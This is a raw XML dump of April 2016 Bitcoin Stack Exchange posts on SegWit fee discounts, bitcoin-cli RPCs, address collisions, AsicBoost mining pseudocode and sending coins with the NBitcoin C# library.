  <row Id="43598" PostTypeId="4" CreationDate="2016-04-03T08:15:52.227" Score="0" Body="Algorithms, schemes, and strategies used to determine which UTXOs are  used to fund transactions." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-04-27T18:01:37.273" LastActivityDate="2022-04-27T18:01:37.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="43600" PostTypeId="2" ParentId="43596" CreationDate="2016-04-03T11:51:59.960" Score="6" Body="&lt;p&gt;Witnesses do not need to be stored once they have been verified and can be discarded. This effectively reduces the size of the UTXO. The discount is supposed to account for the reduced storage requirements and to encourage users to switch to segwit, benefiting the network as a whole. &lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-03T11:51:59.960" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43601" PostTypeId="2" ParentId="43532" CreationDate="2016-04-03T14:48:33.357" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to do #1? i.e. How to calculate the size of the transaction (in bytes) + transaction fee in advance?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use the recently-introduced &lt;code&gt;fundrawtransaction&lt;/code&gt; RPC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First create a transaction with just the outputs you want but no inputs, using &lt;code&gt;createrawtransaction&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then call &lt;code&gt;fundrawtransaction&lt;/code&gt; on it (which will compute fee, and add inputs and change).&lt;/li&gt;&#xA;&lt;li&gt;Observe the fee, and do balance checks for your user.&lt;/li&gt;&#xA;&lt;li&gt;If acceptable, sign the transaction (using &lt;code&gt;signrawtransaction&lt;/code&gt;) and broadcast it (using &lt;code&gt;sendrawtransaction&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using bitcoin-cli settxfee  seems to return true but the actual transaction fee that is applied to me was much higher. Why was this the case?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;settxfee&lt;/code&gt; sets the fee per 1000 bytes, not the total. If your transaction ends up being larger than 1000 bytes, the fee will be higher.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I need to know more details about how the move command works. Is move an actual transaction that will incur transaction fees?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Read up on &lt;a href=&quot;https://en.bitcoin.it/wiki/Help:Accounts_explained&quot; rel=&quot;nofollow noreferrer&quot;&gt;how the account system works&lt;/a&gt;. There is no transaction involved, as account balances are simply local bean counters. All coins in your wallet are shared across all accounts. Account balances just keep track how much of them belong to whom (but not which specific coins belong to whom). Move simply updates the balances without any transaction on the network.                          &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is option 2 a good option to hide/solve my problem?&#xA;  What are other options / correct implementation for implementing a withdraw button?                &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, because the account system is deprecated and will be removed in a future version. Reasons for this is that it is very hard to understand (as this question shows!), and makes backups nearly impossible (as the account information for sendfrom cannot be recovered from the blockchain, restoring a wallet backup will mess up your accounting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, use the fundrawtransaction mechanism described above, and implement user balances in a higher-level layer (which does for example stores the account information in a database with proper backups).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can sendfrom take out money from other accounts other than the &quot;&quot; account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By definition, no. It creates a transaction using all coins in the entire wallet to fund it, and then subtracts the amount sent plus fee from the specified account.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="90305" LastEditDate="2019-04-02T17:31:20.463" LastActivityDate="2019-04-02T17:31:20.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="43602" PostTypeId="2" ParentId="2527" CreationDate="2016-04-03T16:27:17.173" Score="3" Body="&lt;p&gt;Old question, so answers are outdated. Anyone reading this now: bitcoin-qt has coin control features that let you choose whichever txin you want to use.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-04-03T16:27:17.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43603" PostTypeId="2" ParentId="43596" CreationDate="2016-04-03T16:35:27.863" Score="5" Body="&lt;p&gt;Because Txouts are about 1/4th the size of TxIns, since signatures are that much bigger than a simple hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that in the old situation it was cheaper to split coins (increasing UTXO set size and creating more dust) than to merge them (decreasing UTXO set size).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this discount, the playing field is leveled so that when the wallet has a choice, it will not favour UTXO increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adam Back:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/4d3pdg/clearing_the_fud_around_segwit/d1o12q1&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/4d3pdg/clearing_the_fud_around_segwit/d1o12q1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gregory Maxwell:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/4d3pdg/clearing_the_fud_around_segwit/d1ns0bo&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/4d3pdg/clearing_the_fud_around_segwit/d1ns0bo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-04-29T12:01:12.790" LastActivityDate="2016-04-29T12:01:12.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43604" PostTypeId="1" CreationDate="2016-04-03T17:21:14.713" Score="2" ViewCount="3801" Body="&lt;p&gt;I've been mining Monero using my sgminer. I pointed it at &lt;a href=&quot;https://moneropool.com/&quot; rel=&quot;nofollow&quot;&gt;https://moneropool.com/&lt;/a&gt;, but i when i visit the site to see my stats i see that my address is not found. Is my miner not working?&lt;/p&gt;&#xA;" OwnerUserId="34487" LastEditorUserId="18196" LastEditDate="2016-04-10T17:10:51.750" LastActivityDate="2016-05-21T08:58:17.733" Title="Can you mine Monero using sgminer?" Tags="|cgminer|miner-configuration|guiminer|monero|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43605" PostTypeId="1" CreationDate="2016-04-03T20:37:29.490" Score="1" ViewCount="234" Body="&lt;p&gt;I can see &lt;a href=&quot;http://tbtc.blockr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tbtc.blockr.io/&lt;/a&gt; time of block are showing &quot;right now&quot;. When I click &quot;all blocks&quot; the time is two hours ahead of &quot;now&quot;. I don't think it's blockr time zone problem, because &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) when I submit transaction, it will show correct time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) my bitcoinj wallet also showing future time against &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.currentTimeMillis();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is UTC time. (I use ntp and it happens on two different computers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have an idea why this is happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pNrVQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNrVQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="29353" LastEditDate="2016-04-04T09:28:49.127" LastActivityDate="2017-02-05T01:32:04.503" Title="test net block time wrong" Tags="|testnet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43606" PostTypeId="2" ParentId="16490" CreationDate="2016-04-03T20:51:54.097" Score="4" Body="&lt;p&gt;It will not help even if passwords were hashed with DSHA256. This link explains why. &lt;a href=&quot;https://rya.nc/asic-cracking.html&quot; rel=&quot;noreferrer&quot;&gt;https://rya.nc/asic-cracking.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the ASIC loads the header into its memory and increments the nonce until the hash of the header is lower than the the specified target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore you cannot use this to brute force a password seeing as the logic is incompatible. &lt;/p&gt;&#xA;" OwnerUserId="34491" LastEditorUserId="34491" LastEditDate="2016-04-09T06:31:08.900" LastActivityDate="2016-04-09T06:31:08.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43607" PostTypeId="2" ParentId="37696" CreationDate="2016-04-03T21:01:06.413" Score="1" Body="&lt;p&gt;I run simplecoin.cz|sk|pl|eu bitcoin exchange. We use different wallets and we made 10k+ transactions. We lost some bitcoins. Most of it was human errors. Some bitcoins were lost when transactions took days to confirm during network flooding. We encountered some double spend transactions (which did not confirm)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other hand we never lost bitcoins when transaction had one or more confirmations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if spv wallet can be fooled when transaction has confirmation already. We trade 5k$ almost every day, our conclusion is to wait for confirmation and know your customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also another risk in accepting even very small unconfirmed transaction and spending it to another customer, because like this you create whole tree of double spends which will never confirm, so you lock your funds for couple days until this toxic stuff gets pruned from memory pool. You also need to resend all this transaction again, it's paid by your time and customer happiness in the end. &lt;/p&gt;&#xA;" OwnerUserId="29353" LastActivityDate="2016-04-03T21:01:06.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43608" PostTypeId="2" ParentId="43596" CreationDate="2016-04-03T23:35:34.600" Score="8" Body="&lt;p&gt;A transaction input means that the previous output it is spending can be removed from the expensive UTXO set. To incentivize making txin's (and hence reducing the UTXO size), Segregated witness includes a change to count the size of transaction input scripts as 1/4 the number of bytes that it actually consumes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions typically compete for block space by attempting to have a high ratio of fees to byte size in the block. By counting the bytes from inputs as 1/4 of the actual bytes the inputs consume, it makes transactions with more inputs more competitive in having a high fee to size ratio. Hence, the change in counting input data size incentivizes transaction makers to spend more inputs by essentially requiring less in fees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that although spending more inputs makes the UTXO set smaller in size, it also associates some outputs (addresses) as likely being owned by the same user. So there is a privacy/cost trade off for the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, another reason that the witness data is discounted is that it presents an opportunity to increase the block size as a soft fork. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-04-03T23:35:34.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43609" PostTypeId="1" AcceptedAnswerId="43615" CreationDate="2016-04-03T23:52:48.760" Score="0" ViewCount="497" Body="&lt;p&gt;Since the addresses are hashes of a public portion of a public/private ECDSA keypair, what would happen to two different people with different keys that hashes into the same address?&#xA;How would transactions to those addresses be handled?&lt;/p&gt;&#xA;" OwnerUserId="34455" LastEditorUserId="121614" LastEditDate="2023-09-23T20:30:59.443" LastActivityDate="2023-09-23T20:30:59.443" Title="How does Bitcoin handle address collisions?" Tags="|address|hash|ecdsa|key-collision|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="43610" PostTypeId="2" ParentId="43609" CreationDate="2016-04-04T00:38:26.547" Score="2" Body="&lt;p&gt;Both people would have access to any funds in the address. Whoever is first to spend these funds wins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it is extremely unlikely that there will be such a collision.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2016-04-04T00:38:26.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43611" PostTypeId="2" ParentId="43609" CreationDate="2016-04-04T04:38:00.430" Score="1" Body="&lt;p&gt;As @Meni answered, both people would have access to the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate how unlikely this is to ever happen, consider the following simple attack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while True:&#xA;    genereate new keys and address&#xA;    if address has funds:&#xA;        transfer to ME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This attack can scan through an astronomical number of addresses each day. And it is so simple, anyone can carry it out and get rich! Except that it doesn't work. If it did, the bitcoin network would quickly collapse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it doesn't work is that the address space is so big, it is &lt;strong&gt;extremely&lt;/strong&gt; unlikely for a collision to ever happen purely by chance (bugs in random generators are a different story...).&lt;/p&gt;&#xA;" OwnerUserId="15073" LastEditorUserId="15073" LastEditDate="2016-04-04T17:16:01.887" LastActivityDate="2016-04-04T17:16:01.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43612" PostTypeId="1" AcceptedAnswerId="43614" CreationDate="2016-04-04T09:38:58.553" Score="0" ViewCount="1367" Body="&lt;p&gt;I want to know whether there exists any software that can let people create their own private personal Bitcoin, and mine their own Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or any other software that can let people issue their own digital currency.&lt;/p&gt;&#xA;" OwnerUserId="34507" LastEditorUserId="5406" LastEditDate="2016-04-06T08:52:08.483" LastActivityDate="2016-04-06T08:52:08.483" Title="How to build my own bitcoin system?" Tags="|altcoin-development|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-10T17:17:09.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="43614" PostTypeId="2" ParentId="43612" CreationDate="2016-04-04T16:47:30.990" Score="2" Body="&lt;p&gt;Because Bitcoin is open source, the source code &lt;em&gt;is&lt;/em&gt; the software for creating new crypto coins.  Depending on what you want out of a new coin, and why you want it, the things you modify will be different.  However, the simple recipe is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fork Bitcoin Core&lt;/li&gt;&#xA;&lt;li&gt;Change the hard-coded genesis block in the source code&lt;/li&gt;&#xA;&lt;li&gt;Change the port number that the protocol runs on&lt;/li&gt;&#xA;&lt;li&gt;Recompile&lt;/li&gt;&#xA;&lt;li&gt;Start mining, and convince others to join&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are other things you can change as well, such as hashing algorithm, block time, difficulty increase frequency, etc.  It all depends on your goal.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastEditorUserId="24974" LastEditDate="2016-04-05T13:35:58.220" LastActivityDate="2016-04-05T13:35:58.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43615" PostTypeId="2" ParentId="43609" CreationDate="2016-04-04T19:26:24.850" Score="0" Body="&lt;p&gt;In elliptic curve cryptography, public keys are derived from private keys, with seemingly random distribution.  You are correct that two different private keys could produce two different public keys that just so happen to hash to the same Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A SCRIPT_SIG of the transaction that spends from that address would need to provide:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A public key that hashes to that address&lt;/li&gt;&#xA;&lt;li&gt;A signature of the transaction produced from a private key that matches the given public key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since two different key pairs could both meet this criteria, either one of them could spend the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is &lt;strong&gt;very&lt;/strong&gt; unlikely.  So much so, that it's not even worth considering as a possibility.  The best metaphor I've seen on why this isn't an issue is explained in this video:  &lt;a href=&quot;https://www.youtube.com/watch?v=ZloHVKk7DHk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ZloHVKk7DHk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-04-04T19:26:24.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43617" PostTypeId="1" CreationDate="2016-04-04T22:33:39.993" Score="1" ViewCount="195" Body="&lt;p&gt;I've been reading a little about merged mining as used in Bitcoin and Namecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like merged mining effectively eliminated Namecoin-only mining pools, right? Since Namecoin-only pools are mostly 'out-mined' by the Bitcoin &lt;em&gt;merged&lt;/em&gt; mining pools, it seems pointless to start one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I had a concern about the incentives of Bitcoin merged-miners to verify Namecoin blocks (i.e. check Namecoin transactions, name updates, etc.). So my question is: &lt;strong&gt;Do Bitcoin merged-miners verify the Namecoin block before starting to mine on the &lt;em&gt;merged block&lt;/em&gt;?&lt;/strong&gt; I assume they do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose if they don't verify the Namecoin part, they save some computation-time but they stand to lose the Namecoin reward, which is not that high anyway. Is the saved computation time ever worth losing the Namecoin block reward?&lt;/p&gt;&#xA;" OwnerUserId="24573" LastActivityDate="2016-04-04T22:33:39.993" Title="Do Bitcoin miners verify validity of merge-mined Namecoin blocks?" Tags="|namecoin|transaction-verification|merged-mining|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="43619" PostTypeId="1" CreationDate="2016-04-05T02:43:01.193" Score="1" ViewCount="967" Body="&lt;p&gt;Do you have any ideas or suggestions how to visualize Merkle trees? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For our open source project &quot;Open Tracking&quot; we create Merkle trees for thousands of tracking counters before putting the root hash to a bitcoin transaction with OP_RETURN script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each hour we merklize state of all active counters for ~20,000 domains and thus we have the tree with 20k elements at the base level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first idea was to visualize it in spreadsheet-style. A first column will be level one, a second column will be level two etc.&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2016-06-09T17:32:51.447" Title="Visualize Merkle tree" Tags="|merkle-tree|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43620" PostTypeId="2" ParentId="43579" CreationDate="2016-04-05T03:22:24.653" Score="21" Body="&lt;h2&gt;Introduction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;AsicBoost speeds up Bitcoin mining in general (for ASICs and CPUs alike) by reducing the frequency of computing one part of the SHA-256 calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin block header is 80 bytes long. It fits in 2 blocks for SHA-256 hashing. It gets hashed into a 32-byte value, then hashed again (1 block) to get the final value that is compared to the threshold.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pseudocode&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The conventional way to do Bitcoin mining looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while True:&#xA;    blockHeader = ...  # based on Merkle root and other fields&#xA;    sha256Block0 = sha256Expand(blockHeader[0 : 64])&#xA;    midState = sh256Compress(sha256InitVector, sha256Block0)&#xA;&#xA;    for i in range(2**32):  # Try nonces&#xA;        blockHeader.nonce = i&#xA;        sha256Block1 = padAndExpand(blockHeader[64 : 80])&#xA;        singleSha = sh256Compress(midState, sha256Block1)&#xA;&#xA;        sha256Block2 = padAndExpand(singleSha)&#xA;        doubleSha = sh256Compress(sha256InitVector, sha256Block2)&#xA;        if doubleSha &amp;lt; target:&#xA;            miningSuccessful(blockHeader)  # Jackpot!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice above that the inner loop has 2 calculations of block expansion and 2 calculations of block compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what AsicBoost proposes is that we somehow find a bunch of &lt;code&gt;blockHeader&lt;/code&gt; values where &lt;code&gt;sha256Block0&lt;/code&gt; is different but &lt;code&gt;sha256Block1&lt;/code&gt; is the same. Because the Merkle root field straddles both hashing blocks, it means we need to group candidates by the last 4 bytes of the Merkle hash. Now the mining algorithm looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while True:&#xA;    blockHeader = ...  # based on various fields&#xA;    candidates = dict()  # 4 bytes -&amp;gt; sets of blocks&#xA;    for i in range(...):  # Generate the more the merrier&#xA;        tempBh = blockHeader.randomizeMerkle()&#xA;        sha256Block0 = sha256Expand(tempBh[0 : 64])&#xA;        tempBh.midState = sh256Compress(sha256InitVector, sha256Block0)&#xA;        candidates[tempBh.merkleRoot[28 : 32]].add(tempBh)&#xA;&#xA;    for i in range(2**32):  # Try nonces&#xA;        for key in candidates:&#xA;            tempBh = candidates[key][0]&#xA;            tempBh.nonce = i&#xA;            sha256Block1 = padAndExpand(tempBh[64 : 80])&#xA;&#xA;            for tempBh in candidates[key]:&#xA;                singleSha = sh256Compress(tempBh.midState, sha256Block1)&#xA;                sha256Block2 = padAndExpand(singleSha)&#xA;                doubleSha = sh256Compress(sha256InitVector, sha256Block2)&#xA;                if doubleSha &amp;lt; target:&#xA;                    miningSuccessful(blockHeader)  # Jackpot!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now notice that the inner loop performs 1 calculation of block expansion per &lt;em&gt;candidate group&lt;/em&gt;, and then 1 calculation of block expansion plus 2 calculations of block compression per candidate block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the technique wins over conventional mining when most candidate groups have more than one candidate, and that the overhead of generating and sorting candidates exceeds the gains from saving at most one calculation of block expansion per candidate.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2019-03-08T16:52:02.160" LastActivityDate="2019-03-08T16:52:02.160" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="43621" PostTypeId="1" AcceptedAnswerId="43623" CreationDate="2016-04-05T03:35:53.783" Score="4" ViewCount="9476" Body="&lt;p&gt;I'm wondering how to find the balance a wallet for a full node on a command-line only linux box.  &lt;code&gt;bitcoin-cli&lt;/code&gt; doesn't seem to help here, and I'm not sure what else to try.&lt;/p&gt;&#xA;" OwnerUserId="6888" LastActivityDate="2017-12-30T16:39:49.767" Title="How to find bitcoin balance via command line" Tags="|full-node|bitcoin-cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43623" PostTypeId="2" ParentId="43621" CreationDate="2016-04-05T09:16:49.450" Score="3" Body="&lt;p&gt;There is a simple RPC call &lt;code&gt;getbalance&lt;/code&gt;. So &lt;code&gt;bitcoin-cli getbalance&lt;/code&gt; should give you the number.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-05T09:16:49.450" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43624" PostTypeId="1" AcceptedAnswerId="43627" CreationDate="2016-04-05T10:25:31.597" Score="12" ViewCount="3386" Body="&lt;p&gt;With bitcoin's blockchain, each block's hash is computed with the previous block's hash. That makes all blocks an immutable chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the first time people used a hash-chain. As far as I know, Git was already used it since 2005 for the commit-hash computing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the earliest use of hash chains? Where did the idea of blockchain come from? &lt;/p&gt;&#xA;" OwnerUserId="23036" LastEditorUserId="682" LastEditDate="2016-04-05T20:15:39.927" LastActivityDate="2016-04-05T20:15:39.927" Title="Where did the idea of blockchain come from? Git was already using it since 2005" Tags="|blockchain|hash|history|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43625" PostTypeId="1" CreationDate="2016-04-05T10:26:16.097" Score="7" ViewCount="7987" Body="&lt;p&gt;I am using &lt;code&gt;NBitcoin&lt;/code&gt; library to create my private keys and addresses, but I can't find an example of how to send Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a &lt;code&gt;c#&lt;/code&gt; example code to send Bitcoin using the &lt;code&gt;NBitcoin&lt;/code&gt; library ?&lt;/p&gt;&#xA;" OwnerUserId="34539" LastEditorUserId="5406" LastEditDate="2016-04-05T13:03:41.680" LastActivityDate="2016-04-05T13:03:41.680" Title="How can i send bitcoin using c# and the nbitcoin library?" Tags="|sending|c#|nbitcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43626" PostTypeId="2" ParentId="43625" CreationDate="2016-04-05T10:52:53.387" Score="1" Body="&lt;p&gt;You can find an example &lt;a href=&quot;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All#simple&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, see the first example where Alice sends bitcoins to Satoshi:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Transaction aliceFunding = new Transaction()&#xA;{&#xA;   Outputs =&#xA;   {&#xA;       new TxOut(&quot;0.45&quot;, alice.GetAddress()),&#xA;       new TxOut(&quot;0.8&quot;, alice.Key.PubKey)&#xA;   }&#xA;};&#xA;Coin[] aliceCoins = aliceFunding&#xA;                    .Outputs&#xA;                    .Select((o, i) =&amp;gt; new Coin(new OutPoint(aliceFunding.GetHash(), i), o))&#xA;                    .ToArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the outputs (Alice's initial coins). The first uses GetAddress() to get the bitcoin address corresponding to Alice's private key (i.e. P2PKH) while the second uses Alice's public key (i.e. P2PK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the transaction is constructed here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var txBuilder = new TransactionBuilder();&#xA;var tx = txBuilder&#xA;    .AddCoins(aliceCoins)&#xA;    .AddKeys(alice.Key)&#xA;    .Send(satoshi.GetAddress(), &quot;1.00&quot;)&#xA;    .SendFees(&quot;0.001&quot;)&#xA;    .SetChange(alice.GetAddress())&#xA;    .BuildTransaction(true);&#xA;Assert(txBuilder.Verify(tx)); //check fully signed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2016-04-05T11:28:41.157" LastActivityDate="2016-04-05T11:28:41.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43627" PostTypeId="2" ParentId="43624" CreationDate="2016-04-05T10:53:16.700" Score="9" Body="&lt;p&gt;According to &lt;a href=&quot;https://freedom-to-tinker.com/blog/randomwalker/the-princeton-bitcoin-textbook-is-now-freely-available/&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin and Cryptocurrency Technologies (BaCT)&lt;/a&gt;, the Princeton Bitcoin textbook, the block chain dates back to a &quot;paper by Haber and Stornetta in 1991. Their proposal was a method for secure timestamping of digitaldocuments, rather than a digital money scheme.&quot; (BaCT p.15)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chaining of Merkle trees instead of single documents was proposed in a later paper. (BaCT p.16)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-05T10:53:16.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43628" PostTypeId="2" ParentId="43625" CreationDate="2016-04-05T12:32:05.493" Score="0" Body="&lt;p&gt;ok I updated the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Load latest transaction:&#xA;        var blockr = new BlockrTransactionRepository();&#xA;&#xA;        NBitcoin.uint256 check = new NBitcoin.uint256(&quot;4ebf7f7ca0a5dafd10b9bd74d8cb93a6eb0831bcb637fec8e8aabf842f1c2688&quot;);&#xA;&#xA;        Transaction aliceFunding = blockr.Get(check);&#xA;&#xA;&#xA;        Coin[] aliceCoins = aliceFunding&#xA;                                .Outputs&#xA;                                .Select((o, i) =&amp;gt; new Coin(new OutPoint(aliceFunding.GetHash(), i), o))&#xA;                                .ToArray();&#xA;&#xA;        txBuilder = new TransactionBuilder();&#xA;        tx = txBuilder&#xA;            .AddCoins(aliceCoins)&#xA;            .AddKeys(alice.Key)&#xA;            .Send(satoshi.GetAddress(), &quot;0.05&quot;)&#xA;            .SendFees(&quot;0.001&quot;)&#xA;            .SetChange(alice.GetAddress())&#xA;            .BuildTransaction(true);&#xA;&#xA;&#xA;        Assert(txBuilder.Verify(tx)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34539" LastActivityDate="2016-04-05T12:32:05.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
